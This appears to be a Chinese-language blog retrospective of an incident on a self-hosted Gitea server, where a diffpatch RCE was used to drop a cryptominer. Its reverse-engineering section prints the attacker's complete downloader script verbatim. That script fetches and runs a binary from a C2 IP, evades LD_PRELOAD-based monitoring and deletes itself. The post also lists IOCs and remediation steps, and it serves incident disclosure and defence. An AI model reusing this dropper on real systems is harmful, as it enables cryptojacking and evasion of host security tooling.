半亩方塘
一次 Gitea 挖矿入侵应急响应复盘

一次 Gitea 挖矿入侵应急响应复盘

一次 Gitea 挖矿木马入侵的完整应急响应复盘:diffpatch RCE 攻击链还原、C2 投放脚本逆向,以及处置与加固全过程。

505 次阅读

一台 Gitea 被 diffpatch RCE 打穿,矿工跑了 6 分钟才被逮住。

事件时间线

时间(2026-08-12) 事件
16:46 恶意进程 /tmp/XXmNHBfI 启动,CPU 飙到 347%
16:49 收到腾讯云告警邮件(CPU 利用率 > 80%),派 agent 上机排查
16:52 定位并击杀矿工进程,矿工存活约 6 分钟
17:35 取证完成、漏洞修复、账号清理、密钥轮换全部落定

一、事件概述

我的一台腾讯云服务器上,自托管的 Gitea 代码托管实例被攻破。攻击者利用 Gitea 的 diffpatch API 远程代码执行漏洞(CVE-2026-60004),配合一个 orgmode 任意文件读取漏洞(CVE-2026-59774),在服务器上投放了挖矿木马。

事情的起点很普通:我收到一封腾讯云的告警邮件,提示 CPU 利用率超过了 80%。我让 agent 上服务器检查,才发现 CPU 已经被一个陌生进程顶到了 347%。好在发现得早,矿工只跑了 6 分钟就被按住了,数据库和宿主机都没被进一步渗透。

二、攻击链还原

2.1 diffpatch RCE 是怎么进来的

被利用的版本是 Gitea EE 25.5.0。核心漏洞是 diffpatch API 的远程代码执行(CVE-2026-60004 / GHSA-rcr6-4jqh-j84m,官方定级 CRITICAL,CVSS 9.8,影响范围 >=1.17, <1.27.1)。

Gitea 的 diffpatch 端点(services/repository/files/patch.go)会在一个共享的裸临时 clone 上应用攻击者提交的补丁。利用链路很刁钻:

  1. 攻击者向同一仓库提交两次完全相同的补丁,触发 Git 的 add/add 冲突
  2. 冲突后 Git 走 three-way fallback 逻辑,即使在 --cached 模式下也会把 indexed path 检出到工作区;
  3. 攻击者精心构造的补丁里,有一个名为 hooks/post-index-change 的可执行文件,检出后就成了一个活的 Git hook
  4. Git 在写 index 时会调用这个 hook,于是攻击者的命令以 Gitea 服务账号的权限执行。

配合当时开放的注册功能,攻击者不用任何已有凭据,注册一个账号、建一个仓库,就能走完整条利用链。这就是我这次被打进来的前置条件。

佐证:官方修复 PR #38637refactor: git patch apply)与 #38642fix: orgmode render include path)随 v1.27.1 发布,release notes 中列为 SECURITY 修复。不过 Gitea 的惯例是把安全修复伪装成普通 refactor,两个 PR 的标题和正文里都没有写 CVE 编号,漏洞详情只在 GitHub Security Advisory 里公开。

2.2 一口气注册了 16 个号

攻击者利用了 Gitea 当时开放的注册功能,一口气创建了 16 个账号:

  • testpoc* 系列 × 15(如 testpoc60874testpoc60504…)
  • xzplhjkfmx

这些账号随后各自创建仓库、写入恶意 hook 载荷,实现远程命令执行。

2.3 C2 下载器

拿到命令执行后,攻击者从 C2 拉取了一个投放脚本,把挖矿木马塞进系统。

2.4 矿工落地

最终落地的是一个 562KB 的 x86-64 ELF 矿工(静态链接,SHA256 DB364E1B...),进程名是随机生成的 8 位字母数字(XXmNHBfI),连向矿池 47.76.81.186:33333,用 347% 的 CPU 开始挖矿。

三、C2 投放脚本逆向分析

这是本次事件里最硬核的部分。攻击者的投递脚本(c2-downloader-172.245.88.160.sh)物理上只有 7 行,几乎每行都有反检测心思。先看完整脚本:

#!/bin/sh
__a=$(uname -m);unset LD_PRELOAD 2>/dev/null;unset LD_LIBRARY_PATH 2>/dev/null
[ "$__a" = "x86_64" ]&&__u="http://172.245.88.160/1";[ "$__a" = "aarch64" ]&&__u="http://172.245.88.160/2";[ "$__a" = "amd64" ]&&__u="http://172.245.88.160/3"
__p=$(mktemp -u XXXXXXXX 2>/dev/null | tr -cd 'A-Za-z0-9' | cut -c1-8); [ -n "$__p" ] || __p=$(printf '%08d' "$$" | cut -c1-8)
__d() { local ___ur="$1" __hp __h __p __pa; __hp=$(printf '%s' "$___ur" | sed -E 's|^https?://||;s|/.*||'); __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':'); __h=$(printf '%s' "$__hp" | sed 's|:.*||'); __pa=/$(printf '%s' "$___ur" | sed -E 's|https?://[^/]*/?||'); [ -z "$__h" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$___ur" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$___ur" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$___ur').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$___ur'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${__h}:${__p:-80}"'") or die $!; print $s "GET '"$__pa"' HTTP/1.0\r\nHost: '"$__h"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; }
__wd=$(_seen=""; for _m in /tmp ${HOME:-} ${PWD:-} $(mount 2>/dev/null | while read -r _ _ mp _; do printf '%s ' "$mp"; done); do case " $_seen " in *" $_m "*) continue ;; esac; [ -n "$_m" ] && touch "$_m/.p$$" 2>/dev/null && rm -f "$_m/.p$$" && _seen="$_seen $_m" && printf '%s ' "$_m"; done); [ -n "$__wd" ] || __wd=/tmp
for i in $__wd;do (__d $__u > $i/$__p)2>/dev/null&&[ -s $i/$__p ]&&(cd $i;chmod +x $__p;./$__p;wait $!;rm -rf $i/$__p)>/dev/null 2>&1;grep -qE '^\./[A-Za-z0-9]{8}$' /proc/[0-9]*/cmdline 2>/dev/null&&break;done

脚本不长,但每行都有讲究。

先看前两行:unset LD_PRELOAD / LD_LIBRARY_PATH 把很多 HIDS 靠 LD_PRELOAD hook 系统调用来监控进程的路子直接废掉,再按 uname -m 选对应架构的矿工二进制(/1/2/3)。

然后是随机进程名:mktemp -u XXXXXXXX | tr -cd 'A-Za-z0-9' | cut -c1-8 生成 8 位随机字母数字串当落盘文件名,这就是矿工叫 XXmNHBfI 的由来,绕开基于进程名的规则匹配;生成失败就退化成 printf '%08d' "$$"

下载函数 __d() 依次尝试 curlwgetpython3urllib)→ perlHTTP::Tiny,再退化到裸 IO::Socket::INET 手动拼 HTTP 请求),机器上只要有其中任意一个,就能把矿工拉下来。

接着枚举所有可写目录(/tmp$HOME$PWD 以及所有挂载点)逐个投递执行,跑起来立刻 rm -rf 删掉二进制,磁盘上不留矿工文件,只留一个正在跑的进程。

最后扫 /proc/*/cmdline,发现已经有一个 ./随机8位 在跑就 break,避免同一台机器重复挖矿互相抢 CPU,也少点暴露面。

这套写法明显是老手批量搞矿机的路子,不是随手拼的脚本。

四、应急响应处置

顺序是先把火扑灭,再补漏洞,最后收拾:

  1. kill 掉挖矿进程,先把 CPU 掐下来
  2. Gitea 升级到 1.27.1,两个漏洞一并补上
  3. 关注册、禁用全部恶意账号、轮换所有密钥
  4. 不必要的服务改绑内网,收紧 SSH 和 fail2ban
  5. 确认数据库没被进一步渗透,样本留档

五、复盘总结

被攻破的原因就两条:暴露在公网的 Gitea 带着未修复的 RCE 漏洞,加上注册功能开放,攻击者能自助建号。

能扛住没扩大,靠的是三件事:

  • 腾讯云的 CPU 告警邮件第一时间提醒了我,不然一个连文件都自删了的矿工进程可能在后台默默跑很久
  • 收到告警直接派 agent 上机排查,几分钟就定位到矿工并按住了
  • Gitea 跑在 Docker 容器里,攻击者拿到的是容器内的权限,宿主机没被直接污染

教训没什么新鲜的,但这次是真挨了打才记住的:

  • 自托管服务要跟住安全公告,RCE 级别的 CVE 拖一天就是在裸奔
  • 对外服务默认「最小暴露」,开放注册等于给攻击者开门,能关就关

但我想强调的是另一件事:这次从定位、排查到审计,全程是 AI agent 干的,而当天用的模型仅仅是 DeepSeek-V4-Flash,一个便宜到几乎不花钱的模型。

附录:IOC(可公开分享)

类型
C2 服务器 172.245.88.160(HTTP,托管矿工二进制)
备用 C2 repositorylinux.dpdns.org(HTTPS,动态 DNS,事发后已下线)
矿池 47.76.81.186:33333
恶意进程特征 /tmp/ 下 8 位随机字母数字名,运行后自删
攻击账号 testpoc* × 15 + xzplhjkfmx
矿工样本 SHA256 DB364E1BBA585912968472E1546440020B34DE58A3510BDA3651E41BA67A183D
漏洞 Gitea diffpatch RCE(CVE-2026-60004 / GHSA-rcr6-4jqh-j84m,CRITICAL,CVSS 9.8)+ orgmode 文件读取(CVE-2026-59774);官方 v1.27.1 修复,PR #38637 / #38642